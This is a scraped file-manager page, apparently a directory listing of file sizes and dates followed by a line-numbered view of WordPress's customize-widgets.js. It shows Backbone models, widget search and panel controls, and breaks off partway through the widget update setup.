run:R W Run
DIR
2026-01-24 15:10:18
R W Run
9.94 KB
2024-11-13 19:02:13
R W Run
7.82 KB
2024-11-13 19:02:13
R W Run
13.32 KB
2023-09-17 22:51:24
R W Run
10.03 KB
2023-09-17 22:51:24
R W Run
12.74 KB
2021-02-23 19:45:04
R W Run
9.11 KB
2022-04-08 20:07:18
R W Run
18.39 KB
2020-07-27 23:35:02
R W Run
10.09 KB
2023-02-02 16:36:32
R W Run
16.62 KB
2021-03-18 19:01:03
R W Run
10.48 KB
2022-04-08 20:07:18
R W Run
9.93 KB
2024-02-11 19:14:19
R W Run
8.36 KB
2022-04-08 20:07:18
R W Run
68.23 KB
2025-05-01 01:03:19
R W Run
30.2 KB
2025-05-01 01:03:19
R W Run
10.43 KB
2021-03-18 19:01:03
R W Run
8.26 KB
2021-03-18 19:01:03
R W Run
9.05 KB
2021-02-23 19:45:04
R W Run
295.49 KB
2025-12-03 06:22:56
R W Run
116.77 KB
2025-12-03 06:22:56
R W Run
118.54 KB
2025-12-03 06:22:56
R W Run
54.22 KB
2025-12-03 06:22:56
R W Run
77.12 KB
2024-09-04 11:48:32
R W Run
34.49 KB
2025-04-16 02:33:33
R W Run
34.09 KB
2025-04-16 02:33:33
R W Run
15.73 KB
2025-04-16 02:33:33
R W Run
44.19 KB
2025-04-16 02:33:33
R W Run
22.2 KB
2025-04-16 02:33:33
R W Run
48.68 KB
2024-09-04 11:48:32
R W Run
20.21 KB
2023-02-02 16:36:32
R W Run
51.08 KB
2025-12-03 06:22:56
R W Run
19.86 KB
2025-12-03 06:22:56
R W Run
14.74 KB
2023-07-17 22:03:26
R W Run
12.49 KB
2023-10-09 21:31:27
R W Run
10.73 KB
2023-10-09 21:31:27
R W Run
47.05 KB
2024-11-13 19:02:13
R W Run
22.23 KB
2024-11-13 19:02:13
R W Run
1.07 KB
2026-03-17 01:08:47
R W Run
1.07 KB
2026-03-17 01:08:47
R W Run
1.07 KB
2026-03-17 01:08:47
R W Run
27.24 KB
2024-11-13 19:02:13
R W Run
16.49 KB
2024-11-13 19:02:13
R W Run
14.69 KB
2021-03-18 19:01:03
R W Run
10 KB
2021-03-18 19:01:03
R W Run
30.17 KB
2021-11-03 19:40:00
R W Run
7.95 KB
2021-02-23 19:45:04
R W Run
7.49 KB
2021-02-23 19:45:04
R W Run
10.97 KB
2021-03-18 19:01:03
R W Run
8.78 KB
2021-03-18 19:01:03
R W Run
8.35 KB
2021-02-23 19:45:04
R W Run
7.67 KB
2022-04-08 20:07:18
R W Run
10.46 KB
2021-01-22 12:32:03
R W Run
8.2 KB
2023-02-02 16:36:32
R W Run
13.68 KB
2024-11-13 19:02:13
R W Run
9.46 KB
2024-11-13 19:02:13
R W Run
68.23 KB
2025-12-03 06:22:56
R W Run
37.14 KB
2025-12-03 06:22:56
R W Run
11.21 KB
2021-01-22 12:32:03
R W Run
8.17 KB
2021-01-22 12:32:03
R W Run
8.38 KB
2023-06-23 23:09:29
R W Run
7.91 KB
2023-06-23 23:09:29
R W Run
14 KB
2021-03-18 19:01:03
R W Run
9.42 KB
2023-02-02 16:36:32
R W Run
45.76 KB
2025-02-12 01:13:52
R W Run
25.48 KB
2025-02-12 01:13:52
R W Run
25.57 KB
2025-04-16 02:33:33
R W Run
13.68 KB
2025-04-16 02:33:33
R W Run
17.74 KB
2024-09-04 11:48:32
R W Run
12.11 KB
2024-09-04 11:48:32
R W Run
40.99 KB
2024-11-13 19:02:13
R W Run
25.05 KB
2024-11-13 19:02:13
R W Run
7.93 KB
2020-07-07 18:55:04
R W Run
7.68 KB
2020-07-07 18:55:04
R W Run
20.23 KB
2023-12-28 15:27:15
R W Run
13.21 KB
2023-12-28 15:27:15
R W Run
13.17 KB
2024-11-13 19:02:13
R W Run
9.28 KB
2024-11-13 19:02:13
R W Run
10.28 KB
2024-11-13 19:02:13
R W Run
8.61 KB
2024-11-13 19:02:13
R W Run
17.96 KB
2021-03-18 19:01:03
R W Run
10.08 KB
2023-02-02 16:36:32
R W Run
12.71 KB
2024-02-18 22:16:14
R W Run
9.29 KB
2024-02-18 22:16:14
R W Run
13.03 KB
2025-12-03 06:22:56
R W Run
9.49 KB
2025-12-03 06:22:56
R W Run
31.84 KB
2025-04-16 02:33:33
R W Run
18.51 KB
2025-04-16 02:33:33
R W Run
62.02 KB
2025-12-03 06:22:56
R W Run
33.58 KB
2025-12-03 06:22:56
R W Run
116.45 KB
2025-12-03 06:22:56
R W Run
54.39 KB
2025-12-03 06:22:56
R W Run
24.99 KB
2025-12-03 06:22:56
R W Run
14.89 KB
2025-12-03 06:22:56
R W Run
9.32 KB
2021-03-18 19:01:03
R W Run
7.74 KB
2021-03-18 19:01:03
R W Run
29.63 KB
2021-03-18 19:01:03
R W Run
19.39 KB
2023-02-02 16:36:32
R W Run
14.59 KB
2020-07-27 23:35:02
R W Run
8.57 KB
2023-02-02 16:36:32
R W Run
7.8 KB
2021-03-18 19:01:03
R W Run
7.53 KB
2021-03-18 19:01:03
R W Run
error_log
📄customize-widgets.js
1/**
2 * @output wp-admin/js/customize-widgets.js
3 */
4
5/* global _wpCustomizeWidgetsSettings */
6(function( wp, $ ){
7
8 if ( ! wp || ! wp.customize ) { return; }
9
10 // Set up our namespace...
11 var api = wp.customize,
12 l10n;
13
14 /**
15 * @namespace wp.customize.Widgets
16 */
17 api.Widgets = api.Widgets || {};
18 api.Widgets.savedWidgetIds = {};
19
20 // Link settings.
21 api.Widgets.data = _wpCustomizeWidgetsSettings || {};
22 l10n = api.Widgets.data.l10n;
23
24 /**
25 * wp.customize.Widgets.WidgetModel
26 *
27 * A single widget model.
28 *
29 * @class wp.customize.Widgets.WidgetModel
30 * @augments Backbone.Model
31 */
32 api.Widgets.WidgetModel = Backbone.Model.extend(/** @lends wp.customize.Widgets.WidgetModel.prototype */{
33 id: null,
34 temp_id: null,
35 classname: null,
36 control_tpl: null,
37 description: null,
38 is_disabled: null,
39 is_multi: null,
40 multi_number: null,
41 name: null,
42 id_base: null,
43 transport: null,
44 params: [],
45 width: null,
46 height: null,
47 search_matched: true
48 });
49
50 /**
51 * wp.customize.Widgets.WidgetCollection
52 *
53 * Collection for widget models.
54 *
55 * @class wp.customize.Widgets.WidgetCollection
56 * @augments Backbone.Collection
57 */
58 api.Widgets.WidgetCollection = Backbone.Collection.extend(/** @lends wp.customize.Widgets.WidgetCollection.prototype */{
59 model: api.Widgets.WidgetModel,
60
61 // Controls searching on the current widget collection
62 // and triggers an update event.
63 doSearch: function( value ) {
64
65 // Don't do anything if we've already done this search.
66 // Useful because the search handler fires multiple times per keystroke.
67 if ( this.terms === value ) {
68 return;
69 }
70
71 // Updates terms with the value passed.
72 this.terms = value;
73
74 // If we have terms, run a search...
75 if ( this.terms.length > 0 ) {
76 this.search( this.terms );
77 }
78
79 // If search is blank, set all the widgets as they matched the search to reset the views.
80 if ( this.terms === '' ) {
81 this.each( function ( widget ) {
82 widget.set( 'search_matched', true );
83 } );
84 }
85 },
86
87 // Performs a search within the collection.
88 // @uses RegExp
89 search: function( term ) {
90 var match, haystack;
91
92 // Escape the term string for RegExp meta characters.
93 term = term.replace( /[-\/\\^$*+?.()|[\]{}]/g, '\\$&' );
94
95 // Consider spaces as word delimiters and match the whole string
96 // so matching terms can be combined.
97 term = term.replace( / /g, ')(?=.*' );
98 match = new RegExp( '^(?=.*' + term + ').+', 'i' );
99
100 this.each( function ( data ) {
101 haystack = [ data.get( 'name' ), data.get( 'description' ) ].join( ' ' );
102 data.set( 'search_matched', match.test( haystack ) );
103 } );
104 }
105 });
106 api.Widgets.availableWidgets = new api.Widgets.WidgetCollection( api.Widgets.data.availableWidgets );
107
108 /**
109 * wp.customize.Widgets.SidebarModel
110 *
111 * A single sidebar model.
112 *
113 * @class wp.customize.Widgets.SidebarModel
114 * @augments Backbone.Model
115 */
116 api.Widgets.SidebarModel = Backbone.Model.extend(/** @lends wp.customize.Widgets.SidebarModel.prototype */{
117 after_title: null,
118 after_widget: null,
119 before_title: null,
120 before_widget: null,
121 'class': null,
122 description: null,
123 id: null,
124 name: null,
125 is_rendered: false
126 });
127
128 /**
129 * wp.customize.Widgets.SidebarCollection
130 *
131 * Collection for sidebar models.
132 *
133 * @class wp.customize.Widgets.SidebarCollection
134 * @augments Backbone.Collection
135 */
136 api.Widgets.SidebarCollection = Backbone.Collection.extend(/** @lends wp.customize.Widgets.SidebarCollection.prototype */{
137 model: api.Widgets.SidebarModel
138 });
139 api.Widgets.registeredSidebars = new api.Widgets.SidebarCollection( api.Widgets.data.registeredSidebars );
140
141 api.Widgets.AvailableWidgetsPanelView = wp.Backbone.View.extend(/** @lends wp.customize.Widgets.AvailableWidgetsPanelView.prototype */{
142
143 el: '#available-widgets',
144
145 events: {
146 'input #widgets-search': 'search',
147 'focus .widget-tpl' : 'focus',
148 'click .widget-tpl' : '_submit',
149 'keypress .widget-tpl' : '_submit',
150 'keydown' : 'keyboardAccessible'
151 },
152
153 // Cache current selected widget.
154 selected: null,
155
156 // Cache sidebar control which has opened panel.
157 currentSidebarControl: null,
158 $search: null,
159 $clearResults: null,
160 searchMatchesCount: null,
161
162 /**
163 * View class for the available widgets panel.
164 *
165 * @constructs wp.customize.Widgets.AvailableWidgetsPanelView
166 * @augments wp.Backbone.View
167 */
168 initialize: function() {
169 var self = this;
170
171 this.$search = $( '#widgets-search' );
172
173 this.$clearResults = this.$el.find( '.clear-results' );
174
175 _.bindAll( this, 'close' );
176
177 this.listenTo( this.collection, 'change', this.updateList );
178
179 this.updateList();
180
181 // Set the initial search count to the number of available widgets.
182 this.searchMatchesCount = this.collection.length;
183
184 /*
185 * If the available widgets panel is open and the customize controls
186 * are interacted with (i.e. available widgets panel is blurred) then
187 * close the available widgets panel. Also close on back button click.
188 */
189 $( '#customize-controls, #available-widgets .customize-section-title' ).on( 'click keydown', function( e ) {
190 var isAddNewBtn = $( e.target ).is( '.add-new-widget, .add-new-widget *' );
191 if ( $( 'body' ).hasClass( 'adding-widget' ) && ! isAddNewBtn ) {
192 self.close();
193 }
194 } );
195
196 // Clear the search results and trigger an `input` event to fire a new search.
197 this.$clearResults.on( 'click', function() {
198 self.$search.val( '' ).trigger( 'focus' ).trigger( 'input' );
199 } );
200
201 // Close the panel if the URL in the preview changes.
202 api.previewer.bind( 'url', this.close );
203 },
204
205 /**
206 * Performs a search and handles selected widget.
207 */
208 search: _.debounce( function( event ) {
209 var firstVisible;
210
211 this.collection.doSearch( event.target.value );
212 // Update the search matches count.
213 this.updateSearchMatchesCount();
214 // Announce how many search results.
215 this.announceSearchMatches();
216
217 // Remove a widget from being selected if it is no longer visible.
218 if ( this.selected && ! this.selected.is( ':visible' ) ) {
219 this.selected.removeClass( 'selected' );
220 this.selected = null;
221 }
222
223 // If a widget was selected but the filter value has been cleared out, clear selection.
224 if ( this.selected && ! event.target.value ) {
225 this.selected.removeClass( 'selected' );
226 this.selected = null;
227 }
228
229 // If a filter has been entered and a widget hasn't been selected, select the first one shown.
230 if ( ! this.selected && event.target.value ) {
231 firstVisible = this.$el.find( '> .widget-tpl:visible:first' );
232 if ( firstVisible.length ) {
233 this.select( firstVisible );
234 }
235 }
236
237 // Toggle the clear search results button.
238 if ( '' !== event.target.value ) {
239 this.$clearResults.addClass( 'is-visible' );
240 } else if ( '' === event.target.value ) {
241 this.$clearResults.removeClass( 'is-visible' );
242 }
243
244 // Set a CSS class on the search container when there are no search results.
245 if ( ! this.searchMatchesCount ) {
246 this.$el.addClass( 'no-widgets-found' );
247 } else {
248 this.$el.removeClass( 'no-widgets-found' );
249 }
250 }, 500 ),
251
252 /**
253 * Updates the count of the available widgets that have the `search_matched` attribute.
254 */
255 updateSearchMatchesCount: function() {
256 this.searchMatchesCount = this.collection.where({ search_matched: true }).length;
257 },
258
259 /**
260 * Sends a message to the aria-live region to announce how many search results.
261 */
262 announceSearchMatches: function() {
263 var message = l10n.widgetsFound.replace( '%d', this.searchMatchesCount ) ;
264
265 if ( ! this.searchMatchesCount ) {
266 message = l10n.noWidgetsFound;
267 }
268
269 wp.a11y.speak( message );
270 },
271
272 /**
273 * Changes visibility of available widgets.
274 */
275 updateList: function() {
276 this.collection.each( function( widget ) {
277 var widgetTpl = $( '#widget-tpl-' + widget.id );
278 widgetTpl.toggle( widget.get( 'search_matched' ) && ! widget.get( 'is_disabled' ) );
279 if ( widget.get( 'is_disabled' ) && widgetTpl.is( this.selected ) ) {
280 this.selected = null;
281 }
282 } );
283 },
284
285 /**
286 * Highlights a widget.
287 */
288 select: function( widgetTpl ) {
289 this.selected = $( widgetTpl );
290 this.selected.siblings( '.widget-tpl' ).removeClass( 'selected' );
291 this.selected.addClass( 'selected' );
292 },
293
294 /**
295 * Highlights a widget on focus.
296 */
297 focus: function( event ) {
298 this.select( $( event.currentTarget ) );
299 },
300
301 /**
302 * Handles submit for keypress and click on widget.
303 */
304 _submit: function( event ) {
305 // Only proceed with keypress if it is Enter or Spacebar.
306 if ( event.type === 'keypress' && ( event.which !== 13 && event.which !== 32 ) ) {
307 return;
308 }
309
310 this.submit( $( event.currentTarget ) );
311 },
312
313 /**
314 * Adds a selected widget to the sidebar.
315 */
316 submit: function( widgetTpl ) {
317 var widgetId, widget, widgetFormControl;
318
319 if ( ! widgetTpl ) {
320 widgetTpl = this.selected;
321 }
322
323 if ( ! widgetTpl || ! this.currentSidebarControl ) {
324 return;
325 }
326
327 this.select( widgetTpl );
328
329 widgetId = $( this.selected ).data( 'widget-id' );
330 widget = this.collection.findWhere( { id: widgetId } );
331 if ( ! widget ) {
332 return;
333 }
334
335 widgetFormControl = this.currentSidebarControl.addWidget( widget.get( 'id_base' ) );
336 if ( widgetFormControl ) {
337 widgetFormControl.focus();
338 }
339
340 this.close();
341 },
342
343 /**
344 * Opens the panel.
345 */
346 open: function( sidebarControl ) {
347 this.currentSidebarControl = sidebarControl;
348
349 // Wide widget controls appear over the preview, and so they need to be collapsed when the panel opens.
350 _( this.currentSidebarControl.getWidgetFormControls() ).each( function( control ) {
351 if ( control.params.is_wide ) {
352 control.collapseForm();
353 }
354 } );
355
356 if ( api.section.has( 'publish_settings' ) ) {
357 api.section( 'publish_settings' ).collapse();
358 }
359
360 $( 'body' ).addClass( 'adding-widget' );
361
362 this.$el.find( '.selected' ).removeClass( 'selected' );
363
364 // Reset search.
365 this.collection.doSearch( '' );
366
367 if ( ! api.settings.browser.mobile ) {
368 this.$search.trigger( 'focus' );
369 }
370 },
371
372 /**
373 * Closes the panel.
374 */
375 close: function( options ) {
376 options = options || {};
377
378 if ( options.returnFocus && this.currentSidebarControl ) {
379 this.currentSidebarControl.container.find( '.add-new-widget' ).focus();
380 }
381
382 this.currentSidebarControl = null;
383 this.selected = null;
384
385 $( 'body' ).removeClass( 'adding-widget' );
386
387 this.$search.val( '' ).trigger( 'input' );
388 },
389
390 /**
391 * Adds keyboard accessibility to the panel.
392 */
393 keyboardAccessible: function( event ) {
394 var isEnter = ( event.which === 13 ),
395 isEsc = ( event.which === 27 ),
396 isDown = ( event.which === 40 ),
397 isUp = ( event.which === 38 ),
398 isTab = ( event.which === 9 ),
399 isShift = ( event.shiftKey ),
400 selected = null,
401 firstVisible = this.$el.find( '> .widget-tpl:visible:first' ),
402 lastVisible = this.$el.find( '> .widget-tpl:visible:last' ),
403 isSearchFocused = $( event.target ).is( this.$search ),
404 isLastWidgetFocused = $( event.target ).is( '.widget-tpl:visible:last' );
405
406 if ( isDown || isUp ) {
407 if ( isDown ) {
408 if ( isSearchFocused ) {
409 selected = firstVisible;
410 } else if ( this.selected && this.selected.nextAll( '.widget-tpl:visible' ).length !== 0 ) {
411 selected = this.selected.nextAll( '.widget-tpl:visible:first' );
412 }
413 } else if ( isUp ) {
414 if ( isSearchFocused ) {
415 selected = lastVisible;
416 } else if ( this.selected && this.selected.prevAll( '.widget-tpl:visible' ).length !== 0 ) {
417 selected = this.selected.prevAll( '.widget-tpl:visible:first' );
418 }
419 }
420
421 this.select( selected );
422
423 if ( selected ) {
424 selected.trigger( 'focus' );
425 } else {
426 this.$search.trigger( 'focus' );
427 }
428
429 return;
430 }
431
432 // If enter pressed but nothing entered, don't do anything.
433 if ( isEnter && ! this.$search.val() ) {
434 return;
435 }
436
437 if ( isEnter ) {
438 this.submit();
439 } else if ( isEsc ) {
440 this.close( { returnFocus: true } );
441 }
442
443 if ( this.currentSidebarControl && isTab && ( isShift && isSearchFocused || ! isShift && isLastWidgetFocused ) ) {
444 this.currentSidebarControl.container.find( '.add-new-widget' ).focus();
445 event.preventDefault();
446 }
447 }
448 });
449
450 /**
451 * Handlers for the widget-synced event, organized by widget ID base.
452 * Other widgets may provide their own update handlers by adding
453 * listeners for the widget-synced event.
454 *
455 * @alias wp.customize.Widgets.formSyncHandlers
456 */
457 api.Widgets.formSyncHandlers = {
458
459 /**
460 * @param {jQuery.Event} e
461 * @param {jQuery} widget
462 * @param {string} newForm
463 */
464 rss: function( e, widget, newForm ) {
465 var oldWidgetError = widget.find( '.widget-error:first' ),
466 newWidgetError = $( '<div>' + newForm + '</div>' ).find( '.widget-error:first' );
467
468 if ( oldWidgetError.length && newWidgetError.length ) {
469 oldWidgetError.replaceWith( newWidgetError );
470 } else if ( oldWidgetError.length ) {
471 oldWidgetError.remove();
472 } else if ( newWidgetError.length ) {
473 widget.find( '.widget-content:first' ).prepend( newWidgetError );
474 }
475 }
476 };
477
478 api.Widgets.WidgetControl = api.Control.extend(/** @lends wp.customize.Widgets.WidgetControl.prototype */{
479 defaultExpandedArguments: {
480 duration: 'fast',
481 completeCallback: $.noop
482 },
483
484 /**
485 * wp.customize.Widgets.WidgetControl
486 *
487 * Customizer control for widgets.
488 * Note that 'widget_form' must match the WP_Widget_Form_Customize_Control::$type
489 *
490 * @since 4.1.0
491 *
492 * @constructs wp.customize.Widgets.WidgetControl
493 * @augments wp.customize.Control
494 */
495 initialize: function( id, options ) {
496 var control = this;
497
498 control.widgetControlEmbedded = false;
499 control.widgetContentEmbedded = false;
500 control.expanded = new api.Value( false );
501 control.expandedArgumentsQueue = [];
502 control.expanded.bind( function( expanded ) {
503 var args = control.expandedArgumentsQueue.shift();
504 args = $.extend( {}, control.defaultExpandedArguments, args );
505 control.onChangeExpanded( expanded, args );
506 });
507 control.altNotice = true;
508
509 api.Control.prototype.initialize.call( control, id, options );
510 },
511
512 /**
513 * Set up the control.
514 *
515 * @since 3.9.0
516 */
517 ready: function() {
518 var control = this;
519
520 /*
521 * Embed a placeholder once the section is expanded. The full widget
522 * form content will be embedded once the control itself is expanded,
523 * and at this point the widget-added event will be triggered.
524 */
525 if ( ! control.section() ) {
526 control.embedWidgetControl();
527 } else {
528 api.section( control.section(), function( section ) {
529 var onExpanded = function( isExpanded ) {
530 if ( isExpanded ) {
531 control.embedWidgetControl();
532 section.expanded.unbind( onExpanded );
533 }
534 };
535 if ( section.expanded() ) {
536 onExpanded( true );
537 } else {
538 section.expanded.bind( onExpanded );
539 }
540 } );
541 }
542 },
543
544 /**
545 * Embed the .widget element inside the li container.
546 *
547 * @since 4.4.0
548 */
549 embedWidgetControl: function() {
550 var control = this, widgetControl;
551
552 if ( control.widgetControlEmbedded ) {
553 return;
554 }
555 control.widgetControlEmbedded = true;
556
557 widgetControl = $( control.params.widget_control );
558 control.container.append( widgetControl );
559
560 control._setupModel();
561 control._setupWideWidget();
562 control._setupControlToggle();
563
564 control._setupWidgetTitle();
565 control._setupReorderUI();
566 control._setupHighlightEffects();
567 control._setupUpdateUI();
568 control._setupRemoveUI();
569 },
570
571 /**
572 * Embed the actual widget form inside of .widget-content and finally trigger the widget-added event.
573 *
574 * @since 4.4.0
575 */
576 embedWidgetContent: function() {
577 var control = this, widgetContent;
578
579 control.embedWidgetControl();
580 if ( control.widgetContentEmbedded ) {
581 return;
582 }
583 control.widgetContentEmbedded = true;
584
585 // Update the notification container element now that the widget content has been embedded.
586 control.notifications.container = control.getNotificationsContainerElement();
587 control.notifications.render();
588
589 widgetContent = $( control.params.widget_content );
590 control.container.find( '.widget-content:first' ).append( widgetContent );
591
592 /*
593 * Trigger widget-added event so that plugins can attach any event
594 * listeners and dynamic UI elements.
595 */
596 $( document ).trigger( 'widget-added', [ control.container.find( '.widget:first' ) ] );
597
598 },
599
600 /**
601 * Handle changes to the setting
602 */
603 _setupModel: function() {
604 var self = this, rememberSavedWidgetId;
605
606 // Remember saved widgets so we know which to trash (move to inactive widgets sidebar).
607 rememberSavedWidgetId = function() {
608 api.Widgets.savedWidgetIds[self.params.widget_id] = true;
609 };
610 api.bind( 'ready', rememberSavedWidgetId );
611 api.bind( 'saved', rememberSavedWidgetId );
612
613 this._updateCount = 0;
614 this.isWidgetUpdating = false;
615 this.liveUpdateMode = true;
616
617 // Update widget whenever model changes.
618 this.setting.bind( function( to, from ) {
619 if ( ! _( from ).isEqual( to ) && ! self.isWidgetUpdating ) {
620 self.updateWidget( { instance: to } );
621 }
622 } );
623 },
624
625 /**
626 * Add special behaviors for wide widget controls
627 */
628 _setupWideWidget: function() {
629 var self = this, $widgetInside, $widgetForm, $customizeSidebar,
630 $themeControlsContainer, positionWidget;
631
632 if ( ! this.params.is_wide || $( window ).width() <= 640 /* max-width breakpoint in customize-controls.css */ ) {
633 return;
634 }
635
636 $widgetInside = this.container.find( '.widget-inside' );
637 $widgetForm = $widgetInside.find( '> .form' );
638 $customizeSidebar = $( '.wp-full-overlay-sidebar-content:first' );
639 this.container.addClass( 'wide-widget-control' );
640
641 this.container.find( '.form:first' ).css( {
642 'max-width': this.params.width,
643 'min-height': this.params.height
644 } );
645
646 /**
647 * Keep the widget-inside positioned so the top of fixed-positioned
648 * element is at the same top position as the widget-top. When the
649 * widget-top is scrolled out of view, keep the widget-top in view;
650 * likewise, don't allow the widget to drop off the bottom of the window.
651 * If a widget is too tall to fit in the window, don't let the height
652 * exceed the window height so that the contents of the widget control
653 * will become scrollable (overflow:auto).
654 */
655 positionWidget = function() {
656 var offsetTop = self.container.offset().top,
657 windowHeight = $( window ).height(),
658 formHeight = $widgetForm.outerHeight(),
659 top;
660 $widgetInside.css( 'max-height', windowHeight );
661 top = Math.max(
662 0, // Prevent top from going off screen.
663 Math.min(
664 Math.max( offsetTop, 0 ), // Distance widget in panel is from top of screen.
665 windowHeight - formHeight // Flush up against bottom of screen.
666 )
667 );
668 $widgetInside.css( 'top', top );
669 };
670
671 $themeControlsContainer = $( '#customize-theme-controls' );
672 this.container.on( 'expand', function() {
673 positionWidget();
674 $customizeSidebar.on( 'scroll', positionWidget );
675 $( window ).on( 'resize', positionWidget );
676 $themeControlsContainer.on( 'expanded collapsed', positionWidget );
677 } );
678 this.container.on( 'collapsed', function() {
679 $customizeSidebar.off( 'scroll', positionWidget );
680 $( window ).off( 'resize', positionWidget );
681 $themeControlsContainer.off( 'expanded collapsed', positionWidget );
682 } );
683
684 // Reposition whenever a sidebar's widgets are changed.
685 api.each( function( setting ) {
686 if ( 0 === setting.id.indexOf( 'sidebars_widgets[' ) ) {
687 setting.bind( function() {
688 if ( self.container.hasClass( 'expanded' ) ) {
689 positionWidget();
690 }
691 } );
692 }
693 } );
694 },
695
696 /**
697 * Show/hide the control when clicking on the form title, when clicking
698 * the close button
699 */
700 _setupControlToggle: function() {
701 var self = this, $closeBtn;
702
703 this.container.find( '.widget-top' ).on( 'click', function( e ) {
704 e.preventDefault();
705 var sidebarWidgetsControl = self.getSidebarWidgetsControl();
706 if ( sidebarWidgetsControl.isReordering ) {
707 return;
708 }
709 self.expanded( ! self.expanded() );
710 } );
711
712 $closeBtn = this.container.find( '.widget-control-close' );
713 $closeBtn.on( 'click', function() {
714 self.collapse();
715 self.container.find( '.widget-top .widget-action:first' ).focus(); // Keyboard accessibility.
716 } );
717 },
718
719 /**
720 * Update the title of the form if a title field is entered
721 */
722 _setupWidgetTitle: function() {
723 var self = this, updateTitle;
724
725 updateTitle = function() {
726 var title = self.setting().title,
727 inWidgetTitle = self.container.find( '.in-widget-title' );
728
729 if ( title ) {
730 inWidgetTitle.text( ': ' + title );
731 } else {
732 inWidgetTitle.text( '' );
733 }
734 };
735 this.setting.bind( updateTitle );
736 updateTitle();
737 },
738
739 /**
740 * Set up the widget-reorder-nav
741 */
742 _setupReorderUI: function() {
743 var self = this, selectSidebarItem, $moveWidgetArea,
744 $reorderNav, updateAvailableSidebars, template;
745
746 /**
747 * select the provided sidebar list item in the move widget area
748 *
749 * @param {jQuery} li
750 */
751 selectSidebarItem = function( li ) {
752 li.siblings( '.selected' ).removeClass( 'selected' );
753 li.addClass( 'selected' );
754 var isSelfSidebar = ( li.data( 'id' ) === self.params.sidebar_id );
755 self.container.find( '.move-widget-btn' ).prop( 'disabled', isSelfSidebar );
756 };
757
758 /**
759 * Add the widget reordering elements to the widget control
760 */
761 this.container.find( '.widget-title-action' ).after( $( api.Widgets.data.tpl.widgetReorderNav ) );
762
763
764 template = _.template( api.Widgets.data.tpl.moveWidgetArea );
765 $moveWidgetArea = $( template( {
766 sidebars: _( api.Widgets.registeredSidebars.toArray() ).pluck( 'attributes' )
767 } )
768 );
769 this.container.find( '.widget-top' ).after( $moveWidgetArea );
770
771 /**
772 * Update available sidebars when their rendered state changes
773 */
774 updateAvailableSidebars = function() {
775 var $sidebarItems = $moveWidgetArea.find( 'li' ), selfSidebarItem,
776 renderedSidebarCount = 0;
777
778 selfSidebarItem = $sidebarItems.filter( function(){
779 return $( this ).data( 'id' ) === self.params.sidebar_id;
780 } );
781
782 $sidebarItems.each( function() {
783 var li = $( this ),
784 sidebarId, sidebar, sidebarIsRendered;
785
786 sidebarId = li.data( 'id' );
787 sidebar = api.Widgets.registeredSidebars.get( sidebarId );
788 sidebarIsRendered = sidebar.get( 'is_rendered' );
789
790 li.toggle( sidebarIsRendered );
791
792 if ( sidebarIsRendered ) {
793 renderedSidebarCount += 1;
794 }
795
796 if ( li.hasClass( 'selected' ) && ! sidebarIsRendered ) {
797 selectSidebarItem( selfSidebarItem );
798 }
799 } );
800
801 if ( renderedSidebarCount > 1 ) {
802 self.container.find( '.move-widget' ).show();
803 } else {
804 self.container.find( '.move-widget' ).hide();
805 }
806 };
807
808 updateAvailableSidebars();
809 api.Widgets.registeredSidebars.on( 'change:is_rendered', updateAvailableSidebars );
810
811 /**
812 * Handle clicks for up/down/move on the reorder nav
813 */
814 $reorderNav = this.container.find( '.widget-reorder-nav' );
815 $reorderNav.find( '.move-widget, .move-widget-down, .move-widget-up' ).each( function() {
816 $( this ).prepend( self.container.find( '.widget-title' ).text() + ': ' );
817 } ).on( 'click keypress', function( event ) {
818 if ( event.type === 'keypress' && ( event.which !== 13 && event.which !== 32 ) ) {
819 return;
820 }
821 $( this ).trigger( 'focus' );
822
823 if ( $( this ).is( '.move-widget' ) ) {
824 self.toggleWidgetMoveArea();
825 } else {
826 var isMoveDown = $( this ).is( '.move-widget-down' ),
827 isMoveUp = $( this ).is( '.move-widget-up' ),
828 i = self.getWidgetSidebarPosition();
829
830 if ( ( isMoveUp && i === 0 ) || ( isMoveDown && i === self.getSidebarWidgetsControl().setting().length - 1 ) ) {
831 return;
832 }
833
834 if ( isMoveUp ) {
835 self.moveUp();
836 wp.a11y.speak( l10n.widgetMovedUp );
837 } else {
838 self.moveDown();
839 wp.a11y.speak( l10n.widgetMovedDown );
840 }
841
842 $( this ).trigger( 'focus' ); // Re-focus after the container was moved.
843 }
844 } );
845
846 /**
847 * Handle selecting a sidebar to move to
848 */
849 this.container.find( '.widget-area-select' ).on( 'click keypress', 'li', function( event ) {
850 if ( event.type === 'keypress' && ( event.which !== 13 && event.which !== 32 ) ) {
851 return;
852 }
853 event.preventDefault();
854 selectSidebarItem( $( this ) );
855 } );
856
857 /**
858 * Move widget to another sidebar
859 */
860 this.container.find( '.move-widget-btn' ).click( function() {
861 self.getSidebarWidgetsControl().toggleReordering( false );
862
863 var oldSidebarId = self.params.sidebar_id,
864 newSidebarId = self.container.find( '.widget-area-select li.selected' ).data( 'id' ),
865 oldSidebarWidgetsSetting, newSidebarWidgetsSetting,
866 oldSidebarWidgetIds, newSidebarWidgetIds, i;
867
868 oldSidebarWidgetsSetting = api( 'sidebars_widgets[' + oldSidebarId + ']' );
869 newSidebarWidgetsSetting = api( 'sidebars_widgets[' + newSidebarId + ']' );
870 oldSidebarWidgetIds = Array.prototype.slice.call( oldSidebarWidgetsSetting() );
871 newSidebarWidgetIds = Array.prototype.slice.call( newSidebarWidgetsSetting() );
872
873 i = self.getWidgetSidebarPosition();
874 oldSidebarWidgetIds.splice( i, 1 );
875 newSidebarWidgetIds.push( self.params.widget_id );
876
877 oldSidebarWidgetsSetting( oldSidebarWidgetIds );
878 newSidebarWidgetsSetting( newSidebarWidgetIds );
879
880 self.focus();
881 } );
882 },
883
884 /**
885 * Highlight widgets in preview when interacted with in the Customizer
886 */
887 _setupHighlightEffects: function() {
888 var self = this;
889
890 // Highlight whenever hovering or clicking over the form.
891 this.container.on( 'mouseenter click', function() {
892 self.setting.previewer.send( 'highlight-widget', self.params.widget_id );
893 } );
894
895 // Highlight when the setting is updated.
896 this.setting.bind( function() {
897 self.setting.previewer.send( 'highlight-widget', self.params.widget_id );
898 } );
899 },
900
901 /**
902 * Set up event handlers for widget updating
903 */
904 _setupUpdateUI: function() {
905 var self = this, $widgetRoot, $widgetContent,
906 $saveBtn, updateWidgetDebounced, formSyncHandler;
907
908 $widgetRoot = this.container.find( '.widget:first' );
909 $widgetContent = $widgetRoot.find( '.widget-content:first' );
910
911 // Configure update button.
912 $saveBtn = this.container.find( '.widget-control-save' );
913 $saveBtn.val( l10n.saveBtnLabel );
914 $saveBtn.attr( 'title', l10n.saveBtnTooltip );
915 $saveBtn.removeClass( 'button-primary' );
916 $saveBtn.on( 'click', function( e ) {
